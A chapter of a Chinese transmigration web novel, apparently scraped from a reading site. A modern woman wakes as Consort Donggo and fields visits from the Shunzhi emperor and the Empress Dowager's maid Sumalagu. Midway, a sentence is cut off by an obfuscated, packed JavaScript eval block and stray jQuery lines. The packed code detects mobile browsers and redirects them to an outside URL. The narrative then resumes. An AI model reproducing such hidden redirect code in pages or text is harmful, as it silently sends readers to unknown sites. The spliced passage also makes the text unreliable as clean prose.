“皇上驾到!”突然,有太监的声音从门口的方向响起。
本来还欲再劝的采薇,就赶紧住了嘴,只担心地看了自家主子一眼。
董婉莹也连忙把脸上的忧郁感一收,作出一副强打起精神的样子。只看得旁边的采薇,又是欣慰,又是心疼。
旁人都道娘娘是红颜祸水,以弟媳之身魅惑帝王,唯有她们这些一直伺候娘娘的身边人,才懂得娘娘的苦处,这宫难道是娘娘要进的吗?
在宫里做贤妃,难道比在襄亲王府做嫡福晋要好吗?还要冒天下之大不韪,背这不守妇道、不知廉耻的名声?
只是这人间事,很多时候,哪里是人能选的呢?只能被命运推着,被坐在上面的那位推着,不知不觉就走到了现在这一步。
采薇心里不禁叹了一声,面上却丝毫不显,而是作出一副恭敬的样貌来,迎接皇上。
董婉莹抬头看去,只见一个青年模样的年轻男子走了过来,长相并不难看,还有几分帅气,看模样应该二十上下的样子。气质有些文雅,应该是个喜好读书的,身上也有一些威严之感。
最让她印象深刻的是那双眼睛,似乎带些忧郁,在看到她的瞬间眼神就亮了,好像见到了自己心爱之人。
那种惊喜的感觉,像有星子突然落入眼中的感觉,董婉莹并不陌生,那些想要追她的男孩儿,看着她的眼睛就是这个样子。
不过,那些年轻男孩儿,泰半只是因为她的容貌而惊艳,却是不如这位,眼神里似乎还藏着某些执拗和偏执。
在这一瞬间,董婉莹做出了判断,这位皇上应该是对原主有些真感情的。她不禁心里警惕了起来,不知道他对原主了解多少?
这内里的芯子猛然换了一个人,可别一不小心给人拆穿了吧?依这位皇上对原主的感情,和古代人对这种事的态度,只怕她一个暴毙少不了吧?
“妾给皇上请安,皇上万福金安!”看着采薇有要搀扶她的模样,董婉莹脑子一转,便想到了行礼的事。
幸好她也是看过一些清宫剧的,对这时候的礼仪也略知,而且这身体不知道是做熟了还是怎样,当她要行礼的时候,竟然条件反射地就把行礼的姿势摆了出来,就像本能一样。
这不禁让董婉莹心里直呼侥幸,她还真怕自己照着前世清宫剧中的姿势做,会行不标准呢,毕竟又没练过。
“平身!”看董婉莹要行礼,这位皇上立马就说出了平身的话,这时董婉莹的动作不过刚刚摆起来。
不止如此,他还加快了走路的速度,快走几步就过来了,话音刚落,就扶上了董婉莹的胳膊,还贴心的,扶她坐了回去,动作竟然还比较温柔。
董婉莹心里不禁有些复杂,顺治和董鄂妃真的如前世的电视剧上演的,是真爱吗?
还没等她进一步深思,眼前这个很可能是顺治的男子就又开口道:“你可算是退热了,这几天可真是要急死我了,你若有什么不好,可让我一个人怎么活?”
他坐在床侧,看着她,神色极为认真,带着一些后怕,好像失去她会是一件极让他难以接受之事。
董婉莹这时,反而没了一开始的惊讶,而是心里产生了一些质疑。兄夺弟妻,冒天下之大不韪,置原主于风口浪尖、千夫所指之境,这真是爱吗?还是帝王的爱就这般“自私”?
“妾不过卑贱之身,哪能当得皇上如此之语?皇上这般说,可真是让妾不胜惶恐了……咳咳……”董婉莹作出一副要请罪的架势,她还有些心机地咳了一声,作出一副因为情绪激动或者因为病还没好而咳的样子。
不过,也不能说她装,喉咙里确实有些痒意,毕竟风寒高热刚退,还没好全呢。
“好,我不说了,你别激动,别激动了。”这男子急忙拦了她行礼,又出言安慰道,一边说着,他还一边给她抚着背,给她顺气。
董婉莹的心情更加复杂了,这皇上看起来是对原主挺好的,跟她说话竟然只用“我”字,动作也是关心温柔,就像平凡的夫妻一样。
但是偏偏原主之前是那样的身份,两人之间又是这样的关系,不怪原主多思多虑、心思郁结,就连她这个半途接受这个身份的人,也觉得真是剪不断理还乱,难搞得很啊!董婉莹有点为以后的日子苦恼了。
“多谢皇上。”不管心里怎么想,董婉莹还是先道了谢。
这时,他又问道:“太医怎么说?”他的脸转向一边的采薇,却是问她了。
“回皇上的话,太医说娘娘高热已退,脉象已经好转,待他再为娘娘开一副药,娘娘喝下,过几日应当就能好转了。”采薇把周太医的话回禀给了这位皇上,不过后面周太医叮嘱娘娘不要多思多虑的事被她给隐下了,这些话可不能拿到皇上面前说。
“婉莹,那你可要好好吃药,早点好起来,不要再病了让我担心了。”他眼神里有些欣喜,又仿佛有一些脆弱。
“好,妾会尽快好起来的,不会再让皇上担心的。”面对这样的眼神,董婉莹确实有些难以说不,她认真地应下了,声音里带着承诺的意味。
原来原主也叫“婉莹”?这么巧?不知道与自己的“婉莹”是不是一个?这样的思绪在她脑海里一闪而过,不过也只有之后再验证了。
“皇上,太后娘娘那边的苏茉儿姑姑来了,说是太后娘娘听说贤妃娘娘醒了,派她来看望贤妃娘娘的。”
一个小太监悄悄地进来了,小声和和刚才跟着这皇上进来的一个面白无须、看着挺和气的青年太监说了什么,然后这青年太监又过来轻声向他禀告道。
“苏茉儿”?孝庄身边的宫女好像就是叫苏茉儿的,这个皇帝是顺治的可能性又大了些。董婉莹心里不禁暗暗想道。
“快请苏姑姑进来吧。”这皇上脸上带着一丝高兴地吩咐道。
就坐在这皇上对面的她,却分明能看到这皇上眼中一闪而过的复杂。
听到目前派人来看他生病的爱妾,却是这样的眼神,看来这对母子的关系是有些什么啊!
很快,门又轻轻地开了。
一位穿着青色旗装的中年模样的女子走了进来,对着这位皇上和董婉莹分别行礼道:“奴婢给皇上请安,皇上万福金安!奴婢给贤妃娘娘请安,娘娘万福金安!”
“苏姑姑快请起,太医刚刚给婉莹诊了脉,说她已无大碍,再过几日便好了,你回去可以跟额涅说让她放心了。”他的态度是温和的,声音里带着几分喜意。
苏茉儿心里一叹,果然,董鄂氏一好,这个主子的情绪就平稳多了。
也不怪自家主子看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270006|182262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着董鄂氏不顺眼,实在是皇上将贤妃看得太重了,这满宫妃嫔除了皇后和废后静妃外,都还没个正经的身份呢,偏偏这董鄂氏一入宫,皇上就直接封她做贤妃。
更何况她之前还是那等身份,引得皇上为她做下君夺臣妻、兄夺弟妻之事,甚至,襄亲王还因此而死。让自家主子至今都无颜面对懿贵大贵妃,在宗室面前也抬不起头来。自家主子又怎么可能对这董鄂氏看得顺眼呢?
只是,这表面功夫还是要做的,若是明面上与这董鄂氏太过为难,可就把皇上越推越远了。
“这个消息可真是太好了,奴婢听了都是高兴得很,想必太后娘娘听了更是要高兴的。
自从贤妃娘娘病了之后,太后娘娘可是忧心得很。又听闻贤妃娘娘高热一直不退,就更是心急如焚,不顾最近自己身子刚痊愈,就想来看望贤妃娘娘。
还是奴婢们担心太后娘娘身子刚愈,怕染了病气,再三劝说,才将娘娘劝下的。待奴婢回去,将这个好消息告诉太后娘娘,她就可安心了。”苏茉儿一脸情真意切地道。
她这话一出,董婉莹就看见这个皇上的脸色瞬间就柔和了,甚至脸上颇有些动容之色,他道:“你们把额涅劝下是对的,额涅身子刚愈,哪能再染了病气?是朕这个做儿子的不孝,之前累额涅为朕操心了。”
“不孝”?“操心”?
董婉莹听到这话,就知道自己不能再装作壁花了,在他说完话后,她就接着开口道:
“累太后娘娘为妾担心,是妾不孝。劳姑姑回去禀报太后娘娘,妾身子已无大碍,再过几日当可痊愈了,请太后娘娘安心。待妾痊愈之后,妾再去太后娘娘宫里拜谢娘娘的关爱之情。”董婉莹一脸既惶恐又感激地道。
她这话一出,就见他脸上的神色更柔和了,对她仿佛满意得很。
她垂了垂眸子,心道,这个皇上看来还对原主这个爱妃与自己的母亲之前的关系有期待,只是他能如愿吗?
这个太后真的心胸这么宽广,能容得下原主这样的宠妃?她记得顺治年间的时候,宫里可是蒙妃的天下来着?那些蒙妃可大部分都是孝庄这个皇太后的娘家人啊!董婉莹有点不太看好。
苏茉儿把两人的表现收在眼里,心道这个董鄂氏果然是个有城府的,想让皇上厌了她,怕是得等些时候了。不过,面上一点都不显,她又道:“那奴婢就不在这里打扰皇上和贤妃娘娘说话了,先回去禀报太后娘娘了。”
看这董鄂氏的精神头,这一关应该是挺过去了,她得抓紧时间回去和自家主子禀报去。
“姑姑慢走,采薇送一送姑姑。”董婉莹一派自然地吩咐一边的采薇道,就好像她就是原主,这就是她的丫鬟一样。
“你病了这一场之后,额涅好像对你的态度也改观了,她终究还是心疼我的。你这样好,日子久了,额涅看在眼里,迟早也会喜欢你的。”这个男人握着她的手,这样一本正经地说着一派天真的话。
真的可能吗?太后能爱屋及乌?只要想想,董婉莹便觉得很难。
不过,这话当然不能拿到这人面前说,所以她只顺着他的话道:“妾是盼着太后娘娘能喜欢妾呢。”
希望这太后真是个心胸宽广、不会迁怒的吧,至于爱屋及乌,就不能指望了!